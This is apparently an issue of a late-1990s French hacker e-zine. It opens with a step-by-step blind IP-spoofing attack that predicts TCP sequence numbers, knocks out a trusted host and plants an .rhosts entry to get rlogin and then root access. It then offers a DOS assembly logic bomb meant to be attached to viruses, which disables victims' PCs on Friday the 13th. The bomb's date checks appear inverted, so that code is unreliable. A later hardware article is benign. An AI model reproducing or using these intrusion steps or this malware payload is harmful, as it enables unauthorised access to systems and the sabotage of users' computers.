BLIND SPOOFING. Comment deviner l'ISNb ? on pourrait croire (et je dois dire asez logiquement) que l'ISNb est toujours nul. Ceci poserait cependant certains problemes: imaginer un serveur qui accepte plusieurs connections à la fois , les paquets pourraient etre melanges ! L'ISN n'est pas non plus tirer au hasard : en effet on verrait alors apparaitre le meme probleme que precedemment. En realite, l'ISN obeit EN GENERAL à un algorithme simple : il augmente de 128 000/secondes et de 64 000 a chaque connection Finalement pour obtenir l'ISNb il suffit de taper plusieurs connections avec B, noter l'ISNb et essayer de deviner le prochain. Au final voila comment on spoof B : 1 H -----Connection pour-----> B obtenir le prochain ISNb 2 H -----------DOS-----------> A 3 H -----SYN + ISNh----------> B IP de A 4 B --SYN/ACK + ISNh + ISNb--> A (OOS) 5 H -------ACK + ISNb--------> B B ouvre alors une connection avec A. Si maintenant on a spoofe le port rlogin et que A avait des droits r* sur B il nous suffit d'envoyer de zolis paquets AU NOM DE A qui ecrivent notre IP dans son $HOME/.rhost (finger A@machine B pour obtenir le home directory) et voila : - on ferme la connection avec B. - puis : Par4noID$ rlogin -l userA IP_de_B Machine_B$ Un ptit buff overflow pour la forme et: Machine_B# ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// LA BOMBE DU MOIS ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Dans chaque mag j'essaierai de créer une petite bombe muni de sa gachette. Le but n'est pas de tout faire exploser mais de rendre les bombes subtiles voire amusantes. Pour ceux qui croient encore que les virus peuvent causer des dommages matériels, je tiens à dire que cela est faux. J'aurai l'occasion de revenir sur le sujet dans un prochain mag... Quoi qu'il en soit, voilà la première bombe que j'ai baptisé Friday_13th. Elle peut être collée à toutes sortes de virus (mais elle est très efficace et bien plus amusante pour les virus boot). Sa gachette est simple, elle se déclenche tous les vendredi 13 et empêche tout programme de fonctionner ce jour là en affichant 'You have no luck today, your computer does not work.'. Le meilleur endroit pour coller cette routine est bien évidemment le gestionnaire d'interruption du virus. Ainsi, quoi que le PC fasse ce jour là, il est quasiment certain de tomber sur cette bombe. ------------------------------------------------------------------------------ Friday_13th: mov ah,2Ah int 21h cmp dl,13 ;is it the 13th? jz Not_today cmp al,5 ;is it friday? jz Not_today cli Looping: mov dx,offset msg mov ax,0900h int 21h jmp Looping ;the devilish loop Not_today: ;wait until next friday 13th ret msg db 'You have no luck today, your computer does not work.$' ------------------------------------------------------------------------------ Et voilà, tout simplement... Il est bien sûr possible d'adapter cette bombe assez simple à n'importe quelle date (anniversaire du créateur du virus, anniversaire de la mise sur le marché de Windows 95, nouvel an...); Pour cela, il suffit juste de connaître les paramètres de sortie de la fonction 2Ah de l'interruption 21h, que je vais vous donner dans mon infinie sagesse : dh = le mois (de 1 à 12) dl = le jour du mois (de 1 à 31) cx = l'année (de 1980 à 2099) al = le jour de la semaine (de 0 à 6 avec 0=dimanche, ... , 6=samedi) Androgyne ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// LES NOUVEAUX PERIPHERIQUES ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// A|---| Les processeurs de la nouvelle génération. B|---| L'AGP system C|---| Le firewire ou IEEE 1394 D|---| Quelques précisions sur le principe MMX C'est bien beau de programmer son ordinateur, mais je pense qu'il ne faut pas négliger la bonne connaissance de son matériel car il représente la base de vos travaux ! C'est pourquoi, je me permet de faire un petit passage en revue de quelques nouveaux périphériques dont on a beaucoup d'échos. Malheureusement je n'ai pas pu écrire sur tous les nouveaux périphériques, il aurait fallu des dizaines de pages et surtout je ne suis pas en mesure de parler de tout car beaucoup de techniques ne sont pas encore trop connues et même si elles l'etaient, je ne les comprendrais pas. Cet article, j'espère, vous apprendra ce qu'est réellement votre matériel et comment il fonctionne (en simplifié et en condensé ). A|---| Les processeurs En effet, la configuration interne de nos PC a changé avec les nouvelles cartes mères à circuits TX et LX permettent de bénéficier de nouvelles fonctions, comme d'un vitesse accrue et d'une meilleure sécurité. Les processeurs d'une sixième génération (bientôt dépassée) comme AMD, Cyrix et Intel ont des caractéristiques communes sur leurs K6, 6x86MX et Pentium II. Tous trois intègrent la fonctionnalité MMX soit MultiMedia eXtension. Avec les fameuses 57 instructions multimédia ; grandes vitesses d'horloge 200, 233, 266, 300 et 350 MHz ; ainsi que l'architecture superpipeline qui accélère l'exécution des programmes ; avec des grosses mémoires caches internes 32 ou 64 Ko , les ordinateurs deviennent de plus en plus puissants et leurs architectures se doivent de suivre le progrès. Les sockets changent aussi chez Intel qui troque le socket7 du PentiumI contre un slot1 pour le PentiumII. En revanche, AMD et Cyrix préfèrent garder cette ancienne architecture plus polyvalente avec le Socket7. Les processeurs K6 et 6x86 exploitent des cartes mères de type Pentium, disposant du jeu de circuits 430TX (ou tout simplement TX). Ce circuit bénéficie de plusieurs atouts par rapport aux circuits HX et VX voir 430FX qui n'existe plus. Les TX restent les plus fiables et les plus performantes à l'heure actuelle à condition qu'elles possèdent une mémoire cache suffisante qui leur permettrait de bien gérer les lancements de drivers et autres. Ce circuit TX est compatible avec la norme E-IDE qui n'est autre qu'une fast-IDE avec l'Ultra DMA/33 ou encore Uitra ATA chez Quantum avec le célèbre bigfoot pour les disques durs qui permet d'atteindre le taux de transfert théorique de 33Mo/s soit environ deux fois la vitesse des disques E-IDE PIO4 qui étaient la référence jusqu'à présent. C'est tout de même moins bien que les disques durs SCSI qui atteigne eux 40Mo/s et avec les SCSI Ultra-2, on va voir naître un taux de transfert à 80Mo/s et même lors de la sortie de l'Ultra-3 une vitesse s'élevant à 160Mo/s. Ce circuit TX gère de surcroît les ports USB; ce qui est très intéressant avec le taux de transfert que nous offrent ces petits câbles et gère aussi l'IrDA qui est la norme des ports infrarouges qui équipe tous les portables ou quasiment. Avec son changement de socket, Intel se voit confronté à une problème car le PentiumII est dans l'incapacité d'exploiter les circuits TX et doivent alors se contenter du vieux 440Fx à ne pas confondre avec le 430FX réservé aux PentiumI. Cependant Intel a sorti le nouveau 440LX réservé aux PentiumII, le jeu de circuits LX exploitent pleinement la SDRAM, les disques Ultra DMA/33, mais disposera aussi d'un port AGP, de la nouvelle fonction OnNOw ou Instant On et d'un système de contrôle complet DMI2.0 qui signifie Desktop Manager Interface exploité par LCDM, Lan Desk Client Manager un logiciel de contrôle de PC. B|---| Le système AGP Tout d'abord le système AGP signifie Accelerated Graphics Port. C'est un nouveau bus rapide cadencé à 66MHz. Il permet d'atteindre un débit théorique de 528Mo/s soit quatre fois plus qu'un PCI qui n'atteignait que 129Mo/s ! En contre partie, comme son nom l'indique, il ne sert que pour la carte graphique et est donc réservé à cette seule vocation. Outre cette vitesse accrue, l' AGP définit la norme DMI Direct Memory Execute. Ce protocole permet d'utiliser la mémoire centrale libre du PC pour les application graphiques. Actuellement, les applications graphiques disposent de leurs propres mémoires. Les modèles 3D les plus performants embarques jusqu'à 32 Mo de mémoire dédiée. Avec le système AGP, 4Mo suffisent car l'ensemble des textures 3D sont stockées dans la mémoire vive centrale de l'ordinateur et directement accessibles à 528Mo/s au processeur graphique. On appelle alors mémoire AGP la mémoire vive réservée à la carte graphique. Cette mémoire se définit comme la mémoire allouée à Windows et autres applications déjà lancée moins la mémoire totale du PC. On supprime alors le transfert entre mémoire centrale et mémoire de la carte graphique sur un bus PCI, qui plus est ! C|---| Le Firewire ou IEEE1394 C'est un bus série à hautes performances ou HPSB High Performance Serial Bus. Il représente un concurrent potentiel à l'USB Universal Serial Bus sur PC ou bien encore l'ADB d'Apple. Le firewire existe de ce fait depuis un bon moment. La carte adaptec AHA 8940 ou encore connue sous le nom de DSP Spark, comprend deux ports firewire en externes et un port interne. Ce bus fait partie intégrante de la norme PC97. Techniquement, le firewire permet des échanges à 400Mbits/s , ce qui constitue sans conteste son principal atout face à l'USB. Ce bus est en premier lieu destiné à être relié à des caméscopes numériques comme le DCR-PC7 de Sony et enfin , à terme, ce bus pourra véhiculer tous les signaux de télévision numérique comme le DVD , les magnétoscopes numériques, etc... A savoir, il pourra aussi accueillir des disques durs car son débit est encore supérieur à celui de l'Ultra DMA/33. ?????????????????????? Le saviez-vous ??????? ?????????????????????? Windows95 a subi plusieurs mises à jours : le service pack1 qui est en accès libre sur le site Internet de Microsoft, puis la version OSR2 OEM Service Release2, réservé comme son nom l'indique aux OEM, c'est à dire les constructeurs d'ordinateurs et les fabricants de disques durs. L'OSR2 apporte de nombreuses améliorations à la version de base de W95. Microsoft à même en même temps commercialisé la version OSR 2.1 qui présente les améliorations standards par rapport à la version standard W95 OSR2.0 : - Mise à jour pour les pilotes USB avec, notamment, la gestion des caméras USB. - Modification de la comptabilité IrDA maintenant conforme aux normes Plug and Play PNP0515 et PNP0511. - Editeur de texte Japonais modifié : vachement utile pour les intellos. J - Pour voir à tout hasard quelle version vous possédez : allez donc voir dans le fichier NTKERN.VXD version 4.03.1212 dans le répertoire Windows\system\Vmm32 D|---| Deux petits mots sur le DVD Le disque DVD Digital Versatile Disk est un CD modifié (pour être simple). Les lecteurs de DVD-Rom sont toujours équipés d'une carte de décompression Mpeg2 sauf lorsque votre carte vidéo (de bonne voire très bonne qualité) vous l'offre, maintenant c'est chose faite de serie sur les ordinateurs recents PII, PIII, et equivalents chez les autres marques. Le lecteur DVD-Rom n'est autre qu'un lecteur de CDRom qui peut lire des disques DVD de 4,38Go pour les simples couches et 7,95Go pour les doubles couches. Les fabricants ont plutôt tendance à donner les valeurs à la façon Quantum : style 4,7Go et 8,5Go (un petit Giga par ci !). Cette forte capacité permet le stockage de 4heures de vidéo codée en Mpeg2. Cette norme de compression professionnelle n'a rien à voir avec le Mpeg1 ou autres CD-I. Le Mpeg2 est utilisé par les diffuseurs professionnels - par exemple Canal Satellite - pour tous les bouquets numériques. Sur un écran d'ordinateur rafraîchit à 75 ou 85Hz, l'image de 720x576 points ou 720x480 points en NTSC s'avère tout simplement fantastique. Les disques DVD double couche, double face peuvent atteindre jusqu'à 15,9Go de données 17Go arrondi soit environ plus de 8 heures de vidéo numérique! E|---| Le MMX Multi Media eXtension. a) Qu'est-ce qu'un microprocesseur? C'est en fait un petit circuit électronique destinés à effectuer de multiples opérations élémentaires. Chacune de ces opérations correspondant à un ordre particulier. Ces commandes forment le jeu d'instructions du processeur. Les programmes informatiques ne sont que des suites d'instructions destinées aux processeurs. Le processeur Pentium est composé de plusieurs millions de transistors ou d'équivalents-transistors. Le tout est intégré sur un puce de silicium de quelques centimètres. (S'il fallait construire le circuit en utilisnat des transistors classiques, il faudrait plus de cent mètres carrés!) Ce processeur se compose de plusieurs parties. La plus importante est appelée unité de calcul que l'on appelle l'unité arithmétique et logique UAL ou ALU en Anglais; c'est elle qui assure l'éxécution de chacunes des instructions. Lorsque les opérations ont lieu comme c'est le cas du Pentium sur 32Bits, on dit qu'il s'agit d'un processeur 32Bits. Une autre partie est constituée d'un certain nombre de registres, ou des petites zones de mémoire où l'ordinateur stocke temporairement des données. Le Pentium MMX pour en venir à lui, possède huits registres MMX de 64Bits chacuns. b) Un peu plus dans le détail. Les données qui ne sont pas contenues dans les registres se trouvent à l'intérieur du processeur, dans la mémoire vive de l'ordinateur RAM Rondom Access Memory. Pour exploiter l'une de ces données, l'ordinateur à besoin de savoir l'addresse à laquelle elle se situe dans la mémoire. Cette addresse est un numéro qui permet de localiser chacuns des octets dans la RAM. Quand le processeur a besoin de données, il les lit par paquets de 4 ou 8 octets (32 ou 64 Bits), on parle dans ce cas de mots de 32 ou 64 Bits. La plupart des ordinateurs ont spécialisés leurs registres : certains pour les addresses et d'autres pour les données. Dans un registre d'addresse réside soit l'addresse d'une donnée on parle d'adressage direct dans ce cas, soit à l'adresse à laquelle on trouvera la véritable adresse de la donnée c'est alors l'adressage indirect. Physiquement les adresses sont traduites par des signaux électriques appliqués aux pattes du processeur qui sont reliées au bus d'adresse : c'est par cette voie que le processeur indique aux boitiers de mémoire l'adresse de la donnée à laquelle il veur accéder ou qu'il veut stocker. De même le bus de données véhicule les signaux électriques traduisant les valeurs transmises. Sur le Pentium, ce bus atteint 64Bits on récupère donc 8 octets en une seule lecture et le bus d'adresse 32Bits, ce qui permet de gérer plus de 232 adresses, soit plus de 4 milliards d'octets de mémoire vive , environ 4Go. Le Pentium contient 16Ko de mémoire cache de premier niveau qu'il scinde en 8Ko pour les instructions et 8Ko pour les autres données. Les nouveaux processeurs vont jusqu'à 64Ko de mémoire cache de premier niveau comme le PentiumII ou K6-2. Le Pentium MMX, quant à lui fait la même chose avec des quantités doublées : 16Ko pour les commandes du processeur et 16Ko pour le reste. La mémoir se définit tout silmplement comme une mémoire swap ou d'échange entre le processeur et la mémoir vive. Cette mémoire est beaucoup plus lente que le processeur - environ 8 fois - et cela pénalise donc fortement l'ordinateur. C'est pourquoi la mémoire cache ultra rapide constitue une zone tampon entre les deux autres. La mémoire cache possède l'incroyable capacité de prévoir à l'avance quelles vont être les demandes du processeur et charge donc de ce fait les données nécessaires. A l'inverse, elle absorbe les éléments à stocker instantanément , évitant ainsi toute perte de temps au processeur. Le cache du processeur est appelé cache de premier niveau en opposition avec le cache extérieur au processeur appelé cache de second niveau. Ce dernier type de mémoire se situe plus généralement dans les Bios internes des cartes mères. c) Le principe de fonctionnement Tous les processeurs que nous connaissons fonctionnent selon les principes établis par Johann von Neumann il y a environ 50ans : il disait alors qu'un programme est une liste d'instructions qui s'éxécutent dans un ordre précis on parle alors d'instructions séquentielles ce qui implique auparavant qu'il existe une base de temps, matérialisé par l'horloge. Schématiquement, cela se présente de la manière suivante : un registre spécial, le pointeur d'instructions, indique l'adresse de la prochaine commande à exécuter. Le processeur se charge alors de la charger ce qui fait passer à l'instruction suivante le pointeur d'instructions. Comme le Pentium est un processeur 32Bits, les instructions suivent ce format, et le pointeur représente donc 4 octets qui font 32Bits. Ensuite le processeur exécute l'instruction et recommence un nouveau cycle. A l'intérieur de la phase d'exécution, il se produit plusieurs événements. Dans certains cas, l'instruction supposons ici que ce soit une addition, ADD concerne les données. Celles-ci sont dans des registres ou en mémoire. L'addition de deux nombres placés en mémoire, ces renseignements sont inclus dans les 32Bits de l'instruction, implique de lire leurs adresses respectives et de les placer dans deux registres d'adresses prédifinis. En supposant qu'il s'agisse d'un adressage direct, on peut alors demander à l'UAL d'exécuter le calcul. Le Pentium MMX est un Pentium et de ce fait bénéficie d'un certain nombre de perfectionnements. Sa première particularité est l'adoption de système de pipeline. Le principe est simple : sur un processeur classique, le circuit reçoit l'instruction, la traîte, puis il signal que son travail est terminé et qu'il est prêt à recevoir l'instruction suivante. Or l'éxécution d'une instruction, comme on vient de le voir, requiert de multiples étapes : il faut décoder l'instruction, déterminer s'il faut récupérer des données et, si oui, à partir d'où, ( registre, mémoire ) mettre à jour le pointeur d'instructions etc... d) Un système d'éxécution par étapes. Comme la plupart de ces opérations sont effectuées par des modules différents du circuit, les concepteurs du Pentium ont ellaboré un système d'éxécution par étapes. Une première instruction est chargée puis le décodage s'effectue, pendant le même temps une autre instruction est chargée. Au cycle d'horloge suivant, la première instruction passe en phase de récupération de données, tandis que la seconde subit à son tour le décodage et qu'une troisième instruction est chargée. Et ainsi de suite comme sur une chaîne de montage de voitures où chaque poste effectue une opération élémentaire et envoie le produit à l'étape suivante : c'est la taylorisation du travail appliqué à des éléctrons! Résultat : chaque instruction met toujours autant de temps pour s'exécuter mais, à la sortie du pipeline, on récupère une instruction terminée à chaque cycle d'horloge... Ceci seulement la plupart du temps, car si une commande exige un temps d'éxécution plus grand, elle bloque le pipeline. C'est d'ailleurs pour expliquer ce fait que les petits curieux se demandent pourquoi il y a une étape de plus sur les MMX : 6 au lieu de 5; en effet cela diminue d'autant le nombre des cas dans lesquels une instruction ralentie les autres. Et ce n'est pas tout, les ingénieurs de chez Intel ont réussi à placer 2 pipelines fonctionnant simultanément. Grâce à cela, le processeur peut éxécuter jusqu'à deux opérations par cycle. Cela se vérifie, paraît-il, avec les opérations arithmétiques portant sur des valeurs présentes dans les registres. Dans le cas du Pentium MMX , cela marche également avec une grande partie des instructions MMX et des combinaisons arithmétiques et d'instructions MMX. SnEaKie ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// JOIN THE G4NG ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// Si vous avez des articles, des idées, des projets, que vous soyez un Newbie, une El33te, ou le plus grand HAXXOR de la planète, vous pouvez nous écrire: RTCgang@yahoo.fr N'hésitez pas à nous soumettre des propositions en vue du RTCMag 2. Par4noID, SnEaKie, SLy, The ScienTisT, AndroGyne.